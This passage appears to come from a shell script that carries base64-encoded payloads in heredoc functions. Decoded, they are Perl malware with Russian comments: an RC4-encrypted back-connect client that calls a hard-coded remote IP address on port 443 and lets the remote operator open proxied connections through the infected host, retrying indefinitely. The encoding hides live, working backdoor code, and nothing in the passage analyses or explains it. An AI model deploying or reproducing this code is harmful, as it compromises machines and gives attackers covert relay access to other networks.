YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_49() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTcnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
